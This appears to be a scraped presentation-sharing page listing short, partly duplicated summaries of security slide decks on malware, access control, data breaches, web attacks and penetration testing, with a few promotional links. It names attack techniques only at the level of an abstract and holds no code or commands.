The document discusses trends in crimeware and techniques used to evade detection. It describes how legitimate websites can be compromised to deliver drive-by downloads and how obfuscation is used to circumvent signature-based detection. The document analyzes examples of infected servers harvesting login credentials and personal data from victims. It advocates for proactive inspection of web content to detect unknown threats unlike reactive signature-based approaches.
The document discusses various types of malware such as viruses, worms, Trojans, spyware and ransomware. It describes how malware functions, common symptoms of infection, and methods of detection. Examples of malware tools and distribution methods like wrappers are also provided. The goal is to help identify malware threats and understand legal issues related to malware.
Fundamentals of Information Systems Security Chapter 11Dr. Ahmed Al Zaidy
This document discusses malicious code and activity that can threaten information systems security. It describes different types of malware like viruses, worms, trojans, and ransomware. Viruses can infect files and programs to spread to other systems. Worms replicate automatically between systems without needing to be in a host program. The document outlines how various malware works, including how viruses infect systems, files, and macros. It also covers rootkits, spam, and other malicious software and techniques used in cyber attacks.
This document discusses email forensics and investigation. It covers how email works and is transmitted, how to extract forensic evidence from email headers and clients like Outlook, Yahoo, and Gmail. Specific things that can be revealed include senders, recipients, dates, IP addresses and more. It also discusses email spoofing, anonymous remailing and how to potentially fake an email.
The document discusses threats, vulnerabilities and malicious attacks against information systems. It describes common attack types like denial of service attacks, wiretapping, backdoors and data modification. The document outlines how risks, threats and vulnerabilities are defined and lists the most frequent threats as malicious software, hardware/software failures, internal/external attackers and natural disasters. It also categorizes threat types and provides examples of active threats such as brute force password attacks, IP spoofing and social engineering.
This document discusses defensive security technologies such as intrusion detection systems, firewalls, and honeypots. It describes how intrusion detection systems use signature recognition and anomaly detection to identify threats. It also explains different types of firewall configurations and implementations, including packet filtering, stateful inspection, and application proxying. The document outlines the components, functions, and limitations of intrusion detection systems, firewalls, and honeypots as defensive measures to monitor network traffic and detect and prevent cyber attacks.
The document discusses access controls, which are processes that protect resources by only allowing authorized users to use them. It covers physical and logical access controls and the four components of access control: identification, authentication, authorization, and accountability. Authentication methods like passwords, tokens, and biometrics are described. Formal access control models like discretionary access control and mandatory access control are also summarized.
Fundamentals of Information Systems Security Chapter 6Dr. Ahmed Al Zaidy
This document discusses security operations and administration. It explains that security administration involves planning, designing, implementing and monitoring an organization's security policies. Key topics covered include the role of security administrators, access control, documentation requirements, disaster recovery, outsourcing concerns, compliance, personnel security principles, and information classification standards. Configuration management and change control processes are important parts of security administration.
The document discusses various types of malware such as viruses, worms, Trojans, spyware and ransomware. It describes how malware functions, common symptoms of infection, and methods of detection. Examples of malware tools and distribution methods like wrappers are also provided. The goal is to help identify malware threats and understand legal issues related to malware.
Fundamentals of Information Systems Security Chapter 11Dr. Ahmed Al Zaidy
This document discusses malicious code and activity that can threaten information systems security. It describes different types of malware like viruses, worms, trojans, and ransomware. Viruses can infect files and programs to spread to other systems. Worms replicate automatically between systems without needing to be in a host program. The document outlines how various malware works, including how viruses infect systems, files, and macros. It also covers rootkits, spam, and other malicious software and techniques used in cyber attacks.
This document discusses email forensics and investigation. It covers how email works and is transmitted, how to extract forensic evidence from email headers and clients like Outlook, Yahoo, and Gmail. Specific things that can be revealed include senders, recipients, dates, IP addresses and more. It also discusses email spoofing, anonymous remailing and how to potentially fake an email.
The document discusses threats, vulnerabilities and malicious attacks against information systems. It describes common attack types like denial of service attacks, wiretapping, backdoors and data modification. The document outlines how risks, threats and vulnerabilities are defined and lists the most frequent threats as malicious software, hardware/software failures, internal/external attackers and natural disasters. It also categorizes threat types and provides examples of active threats such as brute force password attacks, IP spoofing and social engineering.
This document discusses defensive security technologies such as intrusion detection systems, firewalls, and honeypots. It describes how intrusion detection systems use signature recognition and anomaly detection to identify threats. It also explains different types of firewall configurations and implementations, including packet filtering, stateful inspection, and application proxying. The document outlines the components, functions, and limitations of intrusion detection systems, firewalls, and honeypots as defensive measures to monitor network traffic and detect and prevent cyber attacks.
The document discusses access controls, which are processes that protect resources by only allowing authorized users to use them. It covers physical and logical access controls and the four components of access control: identification, authentication, authorization, and accountability. Authentication methods like passwords, tokens, and biometrics are described. Formal access control models like discretionary access control and mandatory access control are also summarized.
Fundamentals of Information Systems Security Chapter 6Dr. Ahmed Al Zaidy
This document discusses security operations and administration. It explains that security administration involves planning, designing, implementing and monitoring an organization's security policies. Key topics covered include the role of security administrators, access control, documentation requirements, disaster recovery, outsourcing concerns, compliance, personnel security principles, and information classification standards. Configuration management and change control processes are important parts of security administration.
This document discusses social engineering and related security risks. It describes different types of social engineering attacks, how social engineering exploits human vulnerabilities, and best practices for password security and using social media safely. Key topics covered include physical, phone-based, and online social engineering attacks; social engineering defenses in web browsers; managing passwords securely; common social networking scams; and corporate social media policies.
This document discusses attacks against web servers and databases. It covers vulnerabilities in web servers like buffer overflows, denial of service attacks, banner information leaks, incorrect permissions, error messages, and unnecessary features. It also discusses attacking databases using SQL injections. Specific attacks are demonstrated, like modifying prices in a hidden form field or deleting database records using injected SQL. The goal is to perform system hacking and web/database attacks as stated in the learning objective.
Fundamentals of Information Systems Security Chapter 13Dr. Ahmed Al Zaidy
This document discusses various options for information systems security education and training, including self-study programs, instructor-led programs, certificate programs, continuing education programs, and postsecondary degree programs ranging from associate's to doctoral degrees. It also covers security awareness programs and training programs focused on hands-on skills preparation.
This document discusses various options for information systems security education and training, including self-study programs, instructor-led programs, certificate programs, continuing education programs, postsecondary degree programs from associate's to doctoral levels, and information security training programs. It describes the advantages and disadvantages of self-study programs, characteristics of certificate and continuing education programs, and different types of postsecondary degrees including their focuses and durations.
This document discusses the history and current state of hacking and penetration testing. It explores the motives of different types of hackers and the evolution of hacking over time. A key topic is ethical hacking and penetration testing, including how it is used to simulate attacks, common methodologies, and the importance of legal and ethical standards when performing tests.
Many security breaches we saw in the past few years and how it affect the number of businesses it include large and small businesses. We will study what is breach and how it will effect on our business and what are the main causes of it. Why social media account is harm for us and how the largest organizations got breached and how would we stop to get breach our data. Our main target Is related to business it could be small or large business. We will discuss that how companies got lost their reputation because of data breach and how much companies got loss of money it include the organization that we all are known about it like Facebook.
↓↓↓↓ Read More:
Watch my videos on snack here: --> --> http://sck.io/x-B1f0Iy
@ Kindly Follow my Instagram Page to discuss about your mental health problems-
-----> https://instagram.com/mentality_streak?utm_medium=copy_link
@ Appreciate my work:
-----> behance.net/burhanahmed1
Thank-you !
Fundamentals of Information Systems Security Chapter 4Dr. Ahmed Al Zaidy
This document discusses the drivers of the information security business. It covers key topics like risk management, business impact analysis, business continuity planning, and disaster recovery planning. Effective risk management involves identifying, assessing, and addressing risks. A business impact analysis identifies critical business functions and systems while business continuity and disaster recovery plans help organizations respond to and recover from disruptive events. Gap analyses are also important to identify security controls that need to be implemented to address vulnerabilities.
Fundamentals of Information Systems Security Chapter 7Dr. Ahmed Al Zaidy
The document discusses the importance of auditing, testing, and monitoring systems for security. It explains that security audits evaluate how well a system's operations meet security goals. Key areas that audits examine include policies, controls, compliance, and whether systems are configured and functioning as intended. The document also outlines best practices for developing an audit plan, including defining objectives and scope based on standards like NIST and ISO.
Fundamentals of Information Systems Security Chapter 5Dr. Ahmed Al Zaidy
This document discusses access controls, which are processes that protect resources by allowing only authorized users to use them. It covers physical access controls, like smart cards that control entry to buildings, and logical access controls for computer systems. Logical access controls involve identification, authentication, authorization, and accountability. Identification verifies who is accessing the system, authentication verifies their identity, authorization determines which resources they can access, and accountability traces actions to specific users. The document also examines access control policies, common authentication methods like passwords and biometrics, and challenges in implementing effective access controls.
Data breach events result in significant losses each year. Our partners at Bonahoom & Bobilya, LLC, created a presentation about understanding the hidden regulatory risks of a data breach so you can keep your company from going out of business.
This presentation has been shared with permission.
The document summarizes lessons learned from the Yahoo! hack of 2013. It describes how security researchers identified the vulnerable third-party astrology application hosted on Yahoo's domain after the hacker released a screenshot. The application was found to be vulnerable to SQL injection attacks due to unvalidated user input. This highlights the risk of third-party code and the need to secure all external applications and libraries.
This document discusses network sniffing, session hijacking, and denial of service attacks. It covers tools and techniques used for sniffing network traffic such as ARP poisoning and MAC flooding. Session hijacking involves identifying active sessions and predicting sequence numbers to take over authenticated sessions. Denial of service attacks aim to prevent services from being delivered by consuming bandwidth or resources. Countermeasures include encryption, firewalls, and intrusion detection systems.
This document discusses physical security controls and techniques. It covers common physical access controls like locks, fences, guards, and surveillance cameras. It also discusses controls for equipment like hard drive encryption, passwords, and securing printers and fax machines. The document provides details on various physical security threats and how to implement defense in depth to protect physical assets and sensitive information.
Fundamentals of Information Systems Security Chapter 8Dr. Ahmed Al Zaidy
The document discusses risk management, response, and recovery for information systems security. It covers key concepts like risk assessment, business impact analysis, business continuity plans, and disaster recovery plans. The risk management process involves identifying risks, assessing risks either qualitatively or quantitatively, planning risk responses, and implementing responses to bring the residual risk within the organization's acceptable risk range.
This document discusses two major data security breaches - the 2014 Sony Pictures hack and the 2014 Staples data breach. The Sony hack involved a malware attack that stole 100TB of data including unreleased films and employee emails. It cost Sony an estimated $1.25 billion. The Staples breach saw 1.16 million customer payment cards compromised over 6 months. Both could have been prevented with better security practices like network isolation, encryption, and prompt patching of vulnerabilities. The document emphasizes the importance of data security for companies.
Ø Information security is the protection of information from unauthorised access, use, disclosure or destruction through various means. This includes protecting both physical and electronic data.
Ø Cyber security, also known as information security, aims to ensure the confidentiality, integrity and availability of information by protecting it from malicious attacks, damage or misuse when stored and accessed digitally.
Ø As an employee, you are responsible for securing any information about customers, your organisation, colleagues and yourself to prevent misuse or unauthorized access according to the Data Protection Act 2018. This includes information stored electronically and in physical records.
Security and Privacy: What Nonprofits Need to KnowTechSoup
The adage says, "You can't have privacy without security, but you can have security without privacy." What does that really mean, and how can you proactively address both for your organization? With privacy scandals and data breaches grabbing headlines daily, even the smallest organizations must take responsibility for lawful custodianship and protection of personal information. In this 60-minute webinar with Michael Standard, senior corporate counsel at Symantec, we will cover the key elements of privacy and security programs. You will learn
- How privacy and security concerns intersect and differ
- Risks to assess when evaluating your privacy program
- The definition of "personal information"
- Key privacy laws that may impact your organization
- The top three privacy and security threats and how to mitigate them
The document provides an overview of the history of cybersecurity threats dating back to the 1970s. It discusses several notable early cyber attacks and issues, including the first computer worm in 1971, the Morris worm of 1988 which was the first large-scale Internet worm and one of the first computer viruses, the ILOVEYOU worm of 2000 which infected over 10 million Windows users worldwide within few days, and the increasing issues of phishing, malware, and SQL injection attacks over the decades. It also outlines some common types of cybersecurity practices like network security, data loss prevention, and intrusion detection/prevention. Finally, it discusses the growing opportunities in cybersecurity field given the increasing threats and investments by organizations.
Cyber risks troubling organisations
The document discusses data breaches, how they occur, and common types like insider leaks and payment card fraud. It provides a case study on Anthem, a large US health insurer that suffered a major data breach in 2015 affecting 80 million customers. Anthem ultimately paid $115 million to settle lawsuits. The document concludes with lessons learned from the Anthem breach and recommendations for preventing data breaches like maintaining system documentation, having an IT security framework, and conducting continuous auditing.
The Best Online Security Service for
CIM – Central Management
Log Monitoring
Intrusion Detection Systems
Firewall Monitoring System
Host based IDSs
Vulnerability Scanning
Evidence Retention
CIM Intelligence
A must to see for all,......!!!
The document provides an overview of penetration testing basics from a presentation by The Internet Storm Center, SANS Institute, and GIAC Certification Program. It discusses the Internet Storm Center, SANS/GIAC training and certifications, common cyber threats, the methodology for penetration testing, tools used for various stages like reconnaissance, scanning, exploitation, and analysis, and the importance of reporting and mitigation strategies.
Given at TRISC 2010, Grapevine, Texas.
http://www.trisc.org/speakers/aditya_sood/#p
The talk sheds light on the new trends of web based malware. Technology and Insecurity goes hand in hand. With the advent of new attacks and techniques the distribution of malware through web has been increased tremendously. Browser based exploits mainly Internet Explorer have given a birth to new world of malware infection. The attackers spread malware elegantly by exploiting the vulnerabilities and drive by downloads. The infection strategies opted by attackers like malware distribution through IFRAME injections and Search Engine Optimization. In order to understand the intrinsic behavior of these web based malware a typical analysis is required to understand the logic concept working behind these web based malwares. It is necessary to dissect these malwares from bottom to top in order to control the devastating behavior. The talk will cover structured methodologies and demonstrate the static, dynamic and behavioral analysis of web malware including PCAP analytics. Demonstrations will prove the fact and necessity of web malware analysis.
This document discusses social engineering and related security risks. It describes different types of social engineering attacks, how social engineering exploits human vulnerabilities, and best practices for password security and using social media safely. Key topics covered include physical, phone-based, and online social engineering attacks; social engineering defenses in web browsers; managing passwords securely; common social networking scams; and corporate social media policies.
This document discusses attacks against web servers and databases. It covers vulnerabilities in web servers like buffer overflows, denial of service attacks, banner information leaks, incorrect permissions, error messages, and unnecessary features. It also discusses attacking databases using SQL injections. Specific attacks are demonstrated, like modifying prices in a hidden form field or deleting database records using injected SQL. The goal is to perform system hacking and web/database attacks as stated in the learning objective.
Fundamentals of Information Systems Security Chapter 13Dr. Ahmed Al Zaidy
This document discusses various options for information systems security education and training, including self-study programs, instructor-led programs, certificate programs, continuing education programs, and postsecondary degree programs ranging from associate's to doctoral degrees. It also covers security awareness programs and training programs focused on hands-on skills preparation.
This document discusses various options for information systems security education and training, including self-study programs, instructor-led programs, certificate programs, continuing education programs, postsecondary degree programs from associate's to doctoral levels, and information security training programs. It describes the advantages and disadvantages of self-study programs, characteristics of certificate and continuing education programs, and different types of postsecondary degrees including their focuses and durations.
This document discusses the history and current state of hacking and penetration testing. It explores the motives of different types of hackers and the evolution of hacking over time. A key topic is ethical hacking and penetration testing, including how it is used to simulate attacks, common methodologies, and the importance of legal and ethical standards when performing tests.
Many security breaches we saw in the past few years and how it affect the number of businesses it include large and small businesses. We will study what is breach and how it will effect on our business and what are the main causes of it. Why social media account is harm for us and how the largest organizations got breached and how would we stop to get breach our data. Our main target Is related to business it could be small or large business. We will discuss that how companies got lost their reputation because of data breach and how much companies got loss of money it include the organization that we all are known about it like Facebook.
↓↓↓↓ Read More:
Watch my videos on snack here: --> --> http://sck.io/x-B1f0Iy
@ Kindly Follow my Instagram Page to discuss about your mental health problems-
-----> https://instagram.com/mentality_streak?utm_medium=copy_link
@ Appreciate my work:
-----> behance.net/burhanahmed1
Thank-you !
Fundamentals of Information Systems Security Chapter 4Dr. Ahmed Al Zaidy
This document discusses the drivers of the information security business. It covers key topics like risk management, business impact analysis, business continuity planning, and disaster recovery planning. Effective risk management involves identifying, assessing, and addressing risks. A business impact analysis identifies critical business functions and systems while business continuity and disaster recovery plans help organizations respond to and recover from disruptive events. Gap analyses are also important to identify security controls that need to be implemented to address vulnerabilities.
Fundamentals of Information Systems Security Chapter 7Dr. Ahmed Al Zaidy
The document discusses the importance of auditing, testing, and monitoring systems for security. It explains that security audits evaluate how well a system's operations meet security goals. Key areas that audits examine include policies, controls, compliance, and whether systems are configured and functioning as intended. The document also outlines best practices for developing an audit plan, including defining objectives and scope based on standards like NIST and ISO.
Fundamentals of Information Systems Security Chapter 5Dr. Ahmed Al Zaidy
This document discusses access controls, which are processes that protect resources by allowing only authorized users to use them. It covers physical access controls, like smart cards that control entry to buildings, and logical access controls for computer systems. Logical access controls involve identification, authentication, authorization, and accountability. Identification verifies who is accessing the system, authentication verifies their identity, authorization determines which resources they can access, and accountability traces actions to specific users. The document also examines access control policies, common authentication methods like passwords and biometrics, and challenges in implementing effective access controls.
Data breach events result in significant losses each year. Our partners at Bonahoom & Bobilya, LLC, created a presentation about understanding the hidden regulatory risks of a data breach so you can keep your company from going out of business.
This presentation has been shared with permission.
The document summarizes lessons learned from the Yahoo! hack of 2013. It describes how security researchers identified the vulnerable third-party astrology application hosted on Yahoo's domain after the hacker released a screenshot. The application was found to be vulnerable to SQL injection attacks due to unvalidated user input. This highlights the risk of third-party code and the need to secure all external applications and libraries.
This document discusses network sniffing, session hijacking, and denial of service attacks. It covers tools and techniques used for sniffing network traffic such as ARP poisoning and MAC flooding. Session hijacking involves identifying active sessions and predicting sequence numbers to take over authenticated sessions. Denial of service attacks aim to prevent services from being delivered by consuming bandwidth or resources. Countermeasures include encryption, firewalls, and intrusion detection systems.
This document discusses physical security controls and techniques. It covers common physical access controls like locks, fences, guards, and surveillance cameras. It also discusses controls for equipment like hard drive encryption, passwords, and securing printers and fax machines. The document provides details on various physical security threats and how to implement defense in depth to protect physical assets and sensitive information.
Fundamentals of Information Systems Security Chapter 8Dr. Ahmed Al Zaidy
The document discusses risk management, response, and recovery for information systems security. It covers key concepts like risk assessment, business impact analysis, business continuity plans, and disaster recovery plans. The risk management process involves identifying risks, assessing risks either qualitatively or quantitatively, planning risk responses, and implementing responses to bring the residual risk within the organization's acceptable risk range.
This document discusses two major data security breaches - the 2014 Sony Pictures hack and the 2014 Staples data breach. The Sony hack involved a malware attack that stole 100TB of data including unreleased films and employee emails. It cost Sony an estimated $1.25 billion. The Staples breach saw 1.16 million customer payment cards compromised over 6 months. Both could have been prevented with better security practices like network isolation, encryption, and prompt patching of vulnerabilities. The document emphasizes the importance of data security for companies.
Ø Information security is the protection of information from unauthorised access, use, disclosure or destruction through various means. This includes protecting both physical and electronic data.
Ø Cyber security, also known as information security, aims to ensure the confidentiality, integrity and availability of information by protecting it from malicious attacks, damage or misuse when stored and accessed digitally.
Ø As an employee, you are responsible for securing any information about customers, your organisation, colleagues and yourself to prevent misuse or unauthorized access according to the Data Protection Act 2018. This includes information stored electronically and in physical records.
Security and Privacy: What Nonprofits Need to KnowTechSoup
The adage says, "You can't have privacy without security, but you can have security without privacy." What does that really mean, and how can you proactively address both for your organization? With privacy scandals and data breaches grabbing headlines daily, even the smallest organizations must take responsibility for lawful custodianship and protection of personal information. In this 60-minute webinar with Michael Standard, senior corporate counsel at Symantec, we will cover the key elements of privacy and security programs. You will learn
- How privacy and security concerns intersect and differ
- Risks to assess when evaluating your privacy program
- The definition of "personal information"
- Key privacy laws that may impact your organization
- The top three privacy and security threats and how to mitigate them
The document provides an overview of the history of cybersecurity threats dating back to the 1970s. It discusses several notable early cyber attacks and issues, including the first computer worm in 1971, the Morris worm of 1988 which was the first large-scale Internet worm and one of the first computer viruses, the ILOVEYOU worm of 2000 which infected over 10 million Windows users worldwide within few days, and the increasing issues of phishing, malware, and SQL injection attacks over the decades. It also outlines some common types of cybersecurity practices like network security, data loss prevention, and intrusion detection/prevention. Finally, it discusses the growing opportunities in cybersecurity field given the increasing threats and investments by organizations.
Cyber risks troubling organisations
The document discusses data breaches, how they occur, and common types like insider leaks and payment card fraud. It provides a case study on Anthem, a large US health insurer that suffered a major data breach in 2015 affecting 80 million customers. Anthem ultimately paid $115 million to settle lawsuits. The document concludes with lessons learned from the Anthem breach and recommendations for preventing data breaches like maintaining system documentation, having an IT security framework, and conducting continuous auditing.
The Best Online Security Service for
CIM – Central Management
Log Monitoring
Intrusion Detection Systems
Firewall Monitoring System
Host based IDSs
Vulnerability Scanning
Evidence Retention
CIM Intelligence
A must to see for all,......!!!
The document provides an overview of penetration testing basics from a presentation by The Internet Storm Center, SANS Institute, and GIAC Certification Program. It discusses the Internet Storm Center, SANS/GIAC training and certifications, common cyber threats, the methodology for penetration testing, tools used for various stages like reconnaissance, scanning, exploitation, and analysis, and the importance of reporting and mitigation strategies.
Given at TRISC 2010, Grapevine, Texas.
http://www.trisc.org/speakers/aditya_sood/#p
The talk sheds light on the new trends of web based malware. Technology and Insecurity goes hand in hand. With the advent of new attacks and techniques the distribution of malware through web has been increased tremendously. Browser based exploits mainly Internet Explorer have given a birth to new world of malware infection. The attackers spread malware elegantly by exploiting the vulnerabilities and drive by downloads. The infection strategies opted by attackers like malware distribution through IFRAME injections and Search Engine Optimization. In order to understand the intrinsic behavior of these web based malware a typical analysis is required to understand the logic concept working behind these web based malwares. It is necessary to dissect these malwares from bottom to top in order to control the devastating behavior. The talk will cover structured methodologies and demonstrate the static, dynamic and behavioral analysis of web malware including PCAP analytics. Demonstrations will prove the fact and necessity of web malware analysis.
This document discusses strategies for distributing malware through web-based attacks. It begins by explaining malware anatomy and trends, then outlines over 10 strategies that malware authors use to infect websites and spread to users, including drive-by downloads, search engine poisoning, social media applications and messages. It also provides a case study of how malware infected a security company's website through an obfuscated JavaScript file. The document emphasizes how malware authors are constantly evolving techniques to evade detection.
The document discusses application security and describes a Security and Lifecycle Management Process (SLCMP) to securely develop software. It notes that web application vulnerabilities are common due to less rigorous programming and increasing software variety. The SLCMP aims to increase awareness of web application attacks and how to implement security best practices into the software development lifecycle to build more secure applications. It outlines several common web application attacks like SQL injection, cross-site scripting, and buffer overflows and recommends securing access control, authentication, input validation, error handling and other aspects of applications and infrastructure.
Discovering the Value of Verifying Web Application Security Using IBM Rationa...Alan Kan
The document discusses a workshop on web application security using IBM Rational AppScan. It introduces the importance of securing web applications and provides an overview of common vulnerabilities like cross-site scripting and SQL injection. The workshop aims to help attendees understand application security risks and how to use AppScan to automate vulnerability scanning and analysis. Hands-on labs are included to demonstrate AppScan's vulnerability detection capabilities.
Get Ready for Web Application Security TestingAlan Kan
The document discusses web application security testing and provides guidance for testing professionals. It outlines some of the top attacks like SQL injection and cross-site scripting. It recommends getting educated on security topics, using tools like WebScarab and IBM Rational AppScan to test for vulnerabilities, and incorporating security testing into the development process.
The document summarizes trends in internet attacks and security threats. It discusses how vulnerabilities are exploited through techniques like social engineering, insecure configurations, and software vulnerabilities. It also describes common malware propagation methods, targeted attacks on individuals and organizations, and recommendations for mitigation strategies including education, awareness, and proactive incident handling.
The document discusses assessing Windows account and network security by exploiting vulnerabilities in LNK shortcut files. It begins with an abstract and introduction on the increasing threats from shared data online and importance of penetration testing. It then reviews literature on related work exploiting LNK files, NTLM authentication, password hashing, and the SMB protocol. The proposed method generates malicious LNK files that can extract credentials like NTLM hashes when opened remotely. It details a Python script to automate LNK file generation and capture hashes using a Metasploit SMB server. The technique allows penetrating target systems without needing to open the downloaded file. In conclusion, it notes how a simple design flaw can be exploited to extract security data and execute commands remotely on Windows systems.
Secure by design and secure software developmentBill Ross
This secure lifecycle management process (SLCMP said slickum) defines the basic and most realistic way to develop secure software. While the briefing is a bit dated slide 34 is still a very relevant process. What is below the green line is the security dynamic process that happens supporting the basic development process seen above the green line. SLCMP is supported by building a complementary and excellent information risk framework system security plan or IRASSP. SLCMP is operationally deployed.
The top two attack vectors for malware are email and web browsers. Watering-hole attacks conceal malware on member-based sites and phishing scams can target individuals with personal details. This PPT describes a different security approach to protect against these threats while achieving business growth, efficiency and lowered expenses. The presentation features Cisco Email, Web and Cloud Web Security and covers basic features, offers, benefits, newest features and product integrations. Watch the webinar: http://cs.co/9004BGqvy
The Cyber Kill Chain. 7 Stages of Cyber Kill Chain Supplementary ReadingMuhammad FAHAD
The “cyber kill chain” is a sequence of stages required for an
attacker to successfully infiltrate a network and exfiltrate data
from it. Each stage demonstrates a specific goal along the attacker’s
path. Designing your monitoring and response plan around the cyber kill chain model is an effective method because it focuses on
how actual attacks happen.
Seceon’s aiXDR solution discovers and remediates a comprehensive list of threats, exploits, attacks, suspicious activities, and non-conformance/non-compliance items, including Zero-Day and advanced malware with sophisticated evasive techniques. The Table below is an indicative subset of the exhaustive threat models implemented in the product.
Are you fighting_new_threats_with_old_weaponsBhargav Modi
The document discusses the need for web application firewalls to protect against modern web application attacks. It notes that traditional network firewalls and intrusion prevention systems are inadequate because they operate at the network layer and do not understand the application layer protocols used in web applications. The document promotes the Cyberoam web application firewall as a solution, highlighting its positive security model using an intuitive website flow detector to learn normal application behavior and block deviations without signatures. It also lists features such as protection against attacks like SQL injection, monitoring and reporting, and help with PCI compliance.
In my college i will created this presentation for seminar with my own interest so this will help you for your career.Please you also create any presentation and upload it,Thank you.
The document discusses techniques for detecting "man in the browser" (MitB) attacks, where malware running in a user's browser is able to intercept and modify traffic between the browser and web applications. It describes shape-based tests that examine requests for unusual changes typical of malware, and content-based tests where the server embeds a random value in content and the browser verifies it was not altered to detect tampering by malware. The overall goal is to identify infected client sessions to protect businesses from the risks posed by consumers being attacked.
Application Security session given as part of the Solvay Executive Master in IT Management.
Explaining application security challenges for web, mobile, cloud and internet of things.
Positioning OWASP SAMM as structural and measurable framework to get application security under control in the complete application lifecycle.
Internet security involves establishing rules and measures to protect against attacks over the Internet. It relates to securing browsers and network security across operating systems. The objective is to secure the exchange of information because the Internet represents an insecure channel with risks like phishing. Common signs of a compromised system include slow connections, popups, strange behavior, and inability to download updates. Malicious software, denial-of-service attacks, and phishing are major security threats. Defenses include antivirus software, encryption, secure connections, and multi-factor authentication.
Welcome to the Threatsploit Report of covering some of the important cybersecurity events, incidents and exploits that occurred this month such as Application Security, Mobile App Security, Network Security, Website Security, API Security, Cloud Security, Host Level Security, Cyber Intelligence, Thick Client Security, Threat Vulnerability, Database Security, IOT Security, Wireless Security.
This 5-day Certified Ethical Hacker training course teaches students how to scan, test, hack, and secure their own systems by learning the techniques used by hackers. The course covers topics like footprinting, scanning, enumeration, system hacking, viruses, sniffers, denial of service attacks, session hijacking, web server hacking, web application vulnerabilities, password cracking, SQL injection, and wireless and cryptography attacks. The goal is to help security professionals and network administrators enhance cybersecurity by thinking like an attacker in order to defend systems from real-world threats.
Similar to Mitigating Malware Presentation Jkd 11 10 08 Aitp (20)
Communications Mining Series - Zero to Hero - Session 1DianaGray10
This session provides introduction to UiPath Communication Mining, importance and platform overview. You will acquire a good understand of the phases in Communication Mining as we go over the platform with you. Topics covered:
• Communication Mining Overview
• Why is it important?
• How can it help today’s business and the benefits
• Phases in Communication Mining
• Demo on Platform overview
• Q/A
Dr. Sean Tan, Head of Data Science, Changi Airport Group
Discover how Changi Airport Group (CAG) leverages graph technologies and generative AI to revolutionize their search capabilities. This session delves into the unique search needs of CAG’s diverse passengers and customers, showcasing how graph data structures enhance the accuracy and relevance of AI-generated search results, mitigating the risk of “hallucinations” and improving the overall customer journey.
GraphRAG for Life Science to increase LLM accuracyTomaz Bratanic
GraphRAG for life science domain, where you retriever information from biomedical knowledge graphs using LLMs to increase the accuracy and performance of generated answers
“An Outlook of the Ongoing and Future Relationship between Blockchain Technologies and Process-aware Information Systems.” Invited talk at the joint workshop on Blockchain for Information Systems (BC4IS) and Blockchain for Trusted Data Sharing (B4TDS), co-located with with the 36th International Conference on Advanced Information Systems Engineering (CAiSE), 3 June 2024, Limassol, Cyprus.
UiPath Test Automation using UiPath Test Suite series, part 6DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 6. In this session, we will cover Test Automation with generative AI and Open AI.
UiPath Test Automation with generative AI and Open AI webinar offers an in-depth exploration of leveraging cutting-edge technologies for test automation within the UiPath platform. Attendees will delve into the integration of generative AI, a test automation solution, with Open AI advanced natural language processing capabilities.
Throughout the session, participants will discover how this synergy empowers testers to automate repetitive tasks, enhance testing accuracy, and expedite the software testing life cycle. Topics covered include the seamless integration process, practical use cases, and the benefits of harnessing AI-driven automation for UiPath testing initiatives. By attending this webinar, testers, and automation professionals can gain valuable insights into harnessing the power of AI to optimize their test automation workflows within the UiPath ecosystem, ultimately driving efficiency and quality in software development processes.
What will you get from this session?
1. Insights into integrating generative AI.
2. Understanding how this integration enhances test automation within the UiPath platform
3. Practical demonstrations
4. Exploration of real-world use cases illustrating the benefits of AI-driven test automation for UiPath
Topics covered:
What is generative AI
Test Automation with generative AI and Open AI.
UiPath integration with generative AI
Speaker:
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
How to Get CNIC Information System with Paksim Ga.pptxdanishmna97
Pakdata Cf is a groundbreaking system designed to streamline and facilitate access to CNIC information. This innovative platform leverages advanced technology to provide users with efficient and secure access to their CNIC details.
Sudheer Mechineni, Head of Application Frameworks, Standard Chartered Bank
Discover how Standard Chartered Bank harnessed the power of Neo4j to transform complex data access challenges into a dynamic, scalable graph database solution. This keynote will cover their journey from initial adoption to deploying a fully automated, enterprise-grade causal cluster, highlighting key strategies for modelling organisational changes and ensuring robust disaster recovery. Learn how these innovations have not only enhanced Standard Chartered Bank’s data infrastructure but also positioned them as pioneers in the banking sector’s adoption of graph technology.
Goodbye Windows 11: Make Way for Nitrux Linux 3.5.0!SOFTTECHHUB
As the digital landscape continually evolves, operating systems play a critical role in shaping user experiences and productivity. The launch of Nitrux Linux 3.5.0 marks a significant milestone, offering a robust alternative to traditional systems such as Windows 11. This article delves into the essence of Nitrux Linux 3.5.0, exploring its unique features, advantages, and how it stands as a compelling choice for both casual users and tech enthusiasts.
Maruthi Prithivirajan, Head of ASEAN & IN Solution Architecture, Neo4j
Get an inside look at the latest Neo4j innovations that enable relationship-driven intelligence at scale. Learn more about the newest cloud integrations and product enhancements that make Neo4j an essential choice for developers building apps with interconnected data and generative AI.
Driving Business Innovation: Latest Generative AI Advancements & Success StorySafe Software
Are you ready to revolutionize how you handle data? Join us for a webinar where we’ll bring you up to speed with the latest advancements in Generative AI technology and discover how leveraging FME with tools from giants like Google Gemini, Amazon, and Microsoft OpenAI can supercharge your workflow efficiency.
During the hour, we’ll take you through:
Guest Speaker Segment with Hannah Barrington: Dive into the world of dynamic real estate marketing with Hannah, the Marketing Manager at Workspace Group. Hear firsthand how their team generates engaging descriptions for thousands of office units by integrating diverse data sources—from PDF floorplans to web pages—using FME transformers, like OpenAIVisionConnector and AnthropicVisionConnector. This use case will show you how GenAI can streamline content creation for marketing across the board.
Ollama Use Case: Learn how Scenario Specialist Dmitri Bagh has utilized Ollama within FME to input data, create custom models, and enhance security protocols. This segment will include demos to illustrate the full capabilities of FME in AI-driven processes.
Custom AI Models: Discover how to leverage FME to build personalized AI models using your data. Whether it’s populating a model with local data for added security or integrating public AI tools, find out how FME facilitates a versatile and secure approach to AI.
We’ll wrap up with a live Q&A session where you can engage with our experts on your specific use cases, and learn more about optimizing your data workflows with AI.
This webinar is ideal for professionals seeking to harness the power of AI within their data management systems while ensuring high levels of customization and security. Whether you're a novice or an expert, gain actionable insights and strategies to elevate your data processes. Join us to see how FME and AI can revolutionize how you work with data!
Let's Integrate MuleSoft RPA, COMPOSER, APM with AWS IDP along with Slackshyamraj55
Discover the seamless integration of RPA (Robotic Process Automation), COMPOSER, and APM with AWS IDP enhanced with Slack notifications. Explore how these technologies converge to streamline workflows, optimize performance, and ensure secure access, all while leveraging the power of AWS IDP and real-time communication via Slack notifications.
